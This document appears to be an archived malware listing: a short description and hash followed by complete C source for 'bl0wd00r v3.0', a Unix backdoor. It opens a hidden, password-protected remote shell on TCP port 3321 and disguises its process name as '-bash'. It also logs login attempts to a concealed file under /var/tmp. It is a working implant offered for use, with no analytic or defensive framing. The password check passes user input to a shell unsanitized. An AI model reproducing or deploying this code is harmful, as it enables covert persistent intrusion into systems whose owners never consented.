Blowdoor v3.0 is a backdoor for Unix systems and uses md5sum passwords for authentication.
d0efcb0d097e945cd6f9af81c4f3ccc3b2a09fd3782a8723520953441cad5ff3
/***************************************************
* bl0wd00r v3.0 coded by bl0w
* www.secworld.org
*
* removed bugs of version 2.0
* thanks to sbox.
*
* greetz guy, exempt, storm, ntp, bonny
* and all codelogic team members.
***************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <signal.h>
#define port 3321 // port to listen
#define term "/bin/sh" // program to run
#define logs "/var/tmp/.ogs" // dir of logs
#define pass "9aa6e5f2256c17d2d430b100032b997c" // password encrypted with md5sum
#define proc "-bash" // hidden syntax
#define B 1024
char a[36];
static void bala(const char *b, int dodnet2) { if (!strcmp(b, "exit")) { exit(0); } if (!strncmp(b, "cd ", 3)) { if (chdir(b +3) < 0) perror("chdir"); return ; } else { system(b); } }
// retirado da md5 -inicio
mdpass(char *aa)
{
FILE *temp;
char mps[1024];
snprintf(mps, 1024, "/bin/echo -n %s|/usr/bin/md5sum", aa);
temp = popen(mps, "r");
memset(a, 0, 36);
fread(a, 32, 1, temp);
fclose(temp);
return a;
}
// -fim
int main (int argc, char *argv[]) {
int dodnet, dodnet2, size;
struct sockaddr_in local;
struct sockaddr_in remote;
char cmd[256];
strcpy (argv[0], proc);
signal (SIGCHLD, SIG_IGN);
bzero (&local, sizeof(local));
local.sin_family = AF_INET;
local.sin_port = htons (port);
local.sin_addr.s_addr = INADDR_ANY;
bzero (&(local.sin_zero), 8);
if ((dodnet = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); }
if (bind (dodnet, (struct sockaddr *)&local, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); }
if (listen(dodnet, 5) == -1) { perror("listen"); exit(1); }
size = sizeof(struct sockaddr_in);
forkpid();
while (1) {
if ((dodnet2 = accept (dodnet, (struct sockaddr *)&remote, &size)) == -1) { perror ("accept"); exit(1); }
if (!fork ()) {
char check[15], username[15];
int i;
send (dodnet2, "username: ", sizeof("username: "), 0);
recv (dodnet2, username, sizeof(username), 0);
send (dodnet2, "password: ", sizeof("password: "), 0);
recv (dodnet2, check, sizeof(check), 0);
for (i = 0; i < strlen (check); i++) {
if (check[i] == '\n' || check[i] == '\r') {
check[i] = '\0';
}
}
for (i = 0; i < strlen (username); i++) {
if (username[i] == '\n' || username[i] == '\r') {
username[i] = '\0';
}
}
if (strncmp(mdpass(check), pass,32) != 0) { fuckoff(dodnet2, check, username); }
else { getshell(dodnet2, username, dodnet); }
}
else { signal (SIGCHLD, SIG_IGN); close(dodnet2); }
}
close (dodnet2);
exit(0);
}
forkpid() {
int pid;
signal(SIGCHLD,SIG_IGN);
pid = fork();
if(pid>0) {
sleep(1);
exit(EXIT_SUCCESS);
}
if(pid == 0) {
signal(SIGCHLD,SIG_DFL);
return getpid();
}
return -1;
}
fuckoff(int dodnet2, char *tentou, char *identifica) {
FILE *aa;
char a[B];
signal(SIGCHLD,SIG_IGN);
aa=fopen(logs,"a+");
snprintf(a, sizeof(a),"date>>%s",logs);
system(a);
fprintf(aa,"ident as: %s",identifica);
fprintf(aa,"\naction: incorrect password\n");
fprintf(aa,"password: %s",tentou);
fprintf(aa,"\n-----------------------\n");
fclose(aa);
close (dodnet2);
exit(0);
}
getshell(int dodnet2, char *identifica) {
FILE *aa;
char a[B];
char b[BUFSIZ];
int i;
aa=fopen(logs,"a+");
snprintf(a,sizeof(a),"date>>%s",logs);
system(a);
fprintf(aa,"ident as: %s",identifica);
fprintf(aa,"\naction: correct password");
fprintf(aa,"\n-----------------------\n");
send (dodnet2, "connected. U r logged", sizeof("connected. U r logged"), 0);
send (dodnet2, "\nbash# ", sizeof("\nbash# "), 0);
fclose(aa);
close(0);
close(1);
close(2);
dup2 (dodnet2, 0);
dup2(dodnet2, 1);
dup2(dodnet2, 2);
for(;;) {
printf("bash# ");
fgets(b,256,stdin);
for (i = 0; i < strlen (b); i++) {
if (b[i] == '\n' || b[i] == '\r') {
b[i] = '\0';
}
}
bala(b,dodnet2);
fflush(stdout);
}
}